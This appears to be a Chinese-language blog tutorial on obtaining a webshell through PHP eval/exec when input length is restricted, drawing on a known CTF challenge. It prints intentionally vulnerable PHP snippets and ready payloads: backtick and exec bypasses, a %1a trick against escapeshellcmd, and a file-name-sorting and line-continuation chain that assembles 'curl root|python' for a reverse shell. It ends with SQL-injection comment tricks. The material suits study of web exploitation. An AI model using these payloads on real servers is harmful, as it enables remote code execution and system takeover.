0x01 問題提出
還記得上篇文章記一次拿webshell踩過的坑(如何用PHP編寫一個不包含數字和字母的后門),我們講到了一些PHP的一些如何巧妙地繞過數字和字母受限的技巧,今天我要給大家分享的是如何在命令長度受限的情況下成功get到webshell,以及關於函數參數受限的突破,mysql的一些騷操作技巧~~~
0x02 問題分析
我們先看個例子:
<?php $param = $_REGUEST['param']; if(strlen($param) < 17){ eval($param); } ?>
上面這部分意思只是叫我們繞過長度受限就可以執行代碼。這個其實就很簡單了,我們可以采用調用eval或者assert這種后門函數就可以直接繞過了~~
eval函數中參數是字符,比如像下面這樣子:
eval('echo 1;');
assert函數中參數為表達式(或者為函數),我們可以像下面這樣子去實現:
assert(phpinfo())
而我參看了PHP手冊才了解到,assert是函數,eval不是函數,是一種語言構造器,eval($a)中$a只能是字符串,assert($a)中$a可以是php代碼,也可以是php代碼的字符串。assert($a)的$a如果是字符串形式不能有2個以上的分號,如果有2個以上的分號只執行到第一個,使用assert來執行多條php語句可借助eval來實現。
例如像下面這個樣子:
assert(eval("echo 1;echo 2;"));
結果如下:
比如像上面這句,如果是assert(eval("echo 1;echo 2")),這樣寫是不會執行echo 1也不會執行echo 2的,因為eval使用的字符串要是有分號的php語句,只要有字符串,它就可以當作命令來執行~~
更多細節我們可以參看PHP手冊:
eval函數:http://www.php.net/manual/zh/function.eval.php
assert函數:http://php.net/manual/zh/function.assert.php
那如果像下面這個例子呢?
<?php $param = $_REGUEST['param']; if( strlen($param) < 17 && stripos($param, 'eval') == false && stripos($param, 'assert') == false ){ eval($param); } ?>
striops函數是用來查找目標字符串在字符串中第一次出現的位置。這里的意思是限制了長度最長為 16 個字符,而且不能用 eval 或 assert,這樣我們又該怎么執行命令。
我們可以通過命令執行來繞過限制:
param=`$_GET[1]`;&1=bash
當然了,我們也可以用 exec函數:
param=exec($_GET[1]);
exec可以執行一個外部程序,具體的可以參看PHP手冊:http://php.net/manual/zh/function.exec.php
那如果是這個呢?
<?php $command = 'dir '.$_POST['dir']; $escaped_command = escapeshellcmd($command); var_dump($escaped_command); file_put_contents('out.bat',$escaped_command); system('out.bat'); ?>
我們對其進行測試:
我們應該如何去繞過呢?
我們來看看這些函數,escapeshellcmd() 函數對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者執行操作符之前進行轉義。
escapeshellcmd() 函數的詳細用法參看PHP手冊:http://php.net/manual/zh/function.escapeshellcmd.php
那么這個函數具體會轉義哪些字符呢?
我們通讀了源碼可以知道,下圖這些字符都可以用^來取代其意義。也就是沒辦法用& | 來執行其他命令,只能列目錄
感興趣的同學可以研究一下源碼,我把源碼傳到本地了:https://files.cnblogs.com/files/ECJTUACM-873284962/exec.rar
那么我們萌生了一個這樣的一個tips:執行.bat文件的時候,利用%1a,可以繞過過濾執行命令,我們做了如下嘗試:
前面我們已經說了如何限制在16個字符內的情況下拿到webshell,在二進制漏洞利用中,當我們遇到可控數據只有8字節的情況,去掉字符串尾的\0,限制在7個字符。那么在這種情況下,我們又該怎么辦呢?
還是看之前那個例子,把命令長度變成7。
<?php $param = $_REGUEST['param']; if(strlen($param) < 8){ eval($param); } ?>
這讓我想起趙本山演的那個小品《鍾點工》里面的一個問題,把大象放進冰箱應該分為幾步?
此時我們需要鋪墊一些基礎知識了。
我們可以進行命令的拼裝。
我們來個條件更加苛刻的問題,命令長度限制在5,如何完成注入,成功get到webshell呢?
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
舉個例子,我們要執行echo hello這個命令,我們應該怎么辦呢?
我們可以進行如下構造:
>echo
>hello
結果如下:
我們可以看到創建了兩個文件,分別是echo和hello,我們執行*命令
我們可以看到,執行了echo hello這行命令,所以直接打印出了hello字符串
我們可以通過echo *來查看一下*里面的內容
我們通過將>echo和>hello 完成命令拼接,然后用* 組成並執行了命令echo hello
如果條件再苛刻一點呢?把命令長度限制在4,如何完成注入,成功get到webshell呢?
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
比如,我們想要執行ls -l命令,我們可以模仿上面這種做法,進行如下構造:
>ls
>-l
結果如下:
我們可以看到創建了兩個文件,分別是ls和-l,我們執行*命令
誒,這咋回事啊,咋還報錯了呢?
其實啊,我們剛才生成的echo和hello,e的ASCII值要小於h,所以排序的時候自動將echo排在前面,hello排在后面,而ls我們可以看到,此時文件的顯示順序是-l在ls的前面。如果我們執行* 其實是執行-l ls會彈出報錯信息
那么我們又該如何獲得ls -l呢?
0x03 解決方案
01.命令內容反序
最簡單的一種方式就是按照命令內容反着轉過來。
我們可以這個命令字符序列反過來看 l- sl,這樣是不是順序正好滿足要求呢?接下來我們只需要用一個可以把字符反過來的命令rev,就可以完成這個功能
所以首先第一步,我們先創建了兩個文件,分別是l-和sl。
>l- >sl
結果如下:
然后將l- sl組合寫入文件v,然后查看v文件里面的內容。
這里面我們可以看到文件v中多了一個v,對我們命令造成干擾,如果我們只想文件中存在l-和sl,那該怎么辦呢?
這里有個小trick,dir a b>c這個命令可以將a b寫到文件c中,不會寫入多余的命令進去。
我們創建一個名為dir的文件,然后執行*>v,可以獲得l- 和ls
>dir echo * *>v cat v
結果如下:
然后我們就只需要對這個命令字符序列反轉一下就行了,這里我們有一個rev命令,正好可以將內容反序。
所以我們需要產生一個名為rev的文件,然后執行*v ,此時命令相當於rev v,命名為v是為了被通配符匹配,這樣就產生了我們要的輸出ls -l。
>rev
ls
*v
結果如下:
然后就是輸出到文件x,然后就可以執行sh x,成功以4個字符執行長度為5的ls -l命令。
*v>x
cat x
sh x
結果如下:
把上面寫的命令編成一個shell腳本如下:
#!/usr/bin/env bash >l- >sl >dir *>v >rev *v>x sh x
我們可以看到,整個命令鏈長度均小於等於4,這樣我們就可以愉快的執行ls -l命令了~
02.時間排序技巧
在ls命令里面有個參數-t,可以根據出現的時間進行排序,先生成的文件排在后面,后生成的文件排在前面,類似於棧的結構。
假設我們要生成ls -t >g命令,它的逆序是g< t- sl,按照ASCII值排序方式的話,t-會在sl后面,不滿足需求。所以我們變通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好滿足順序要求。
>g\> >ht- >sl >dir *>v >rev *v>x cat x
結果如下:
03.續行符技巧拼接命令
Linux里面有個神奇的符號\(反斜杠),可以進行命令的續行,比如下面這個例子,我創建了兩個文件a和b,我們通過ls命令查看效果和續行效果是一樣的。
>a >b ls l\ s
結果如下:
這樣,我們就可以構造一連串的拼接命令進行續行操作。再比如,我要構造命令curl root|python
>on >th\\ >py\\ >\|\\ >ot\\ >ro\\ >\ \\ >rl\\ >cu\\ ls -t
結果如下:
這里我們可能會有點疑問,>th\\這里看着是5個字符,超過了4個的限制,實際上是因為shell環境需要輸入\\產生\,但是php代碼exec時,只需要輸入\即可產生\,比如 exec(“>th\”)即可。所以這里實際上是不超過4個字符的。
我們再執行ls -th>g,把這些按照時間順序導入到g文件里面,再查看一下g文件
然后執行sh g反彈shell即可,這里我就不演示給大家看了,大家可以自己在本機上進行嘗試即可~~
這里對如何在命令長度受限的情況下成功get到webshell做個小結:
- w長度最短的命令
- ls -t 以創建時間來列出當前目錄下所有文件
- 文件列表以[換行符]分割每個文件
- 引入 `\` 轉義ls時的換行
- 換行不影響命令執行
- 成功構造任意命令執行,寫入Webshell
關於mysql部分還有一些注釋技巧,我給大家列一下:
- [#] 行內注釋
- [-- ] 行內注釋,注意末尾的空格
- [/*...*/] 段注釋,可多行
- [`] 某些情況下,可以作為注釋
- [;] 支持多句執行的情況下,可直接用分號閉合第一句SQL語句
具體的參考P牛的課件:來自小密圈里的那些奇技淫巧
0x04 擴展閱讀
- https://speakerd.s3.amazonaws.com/presentations/f81159300925466c88335f3cf740beb6/%E6%9D%A5%E8%87%AA%E5%B0%8F%E5%AF%86%E5%9C%88%E9%87%8C%E7%9A%84%E9%82%A3%E4%BA%9B%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7.pdf
- https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
- https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html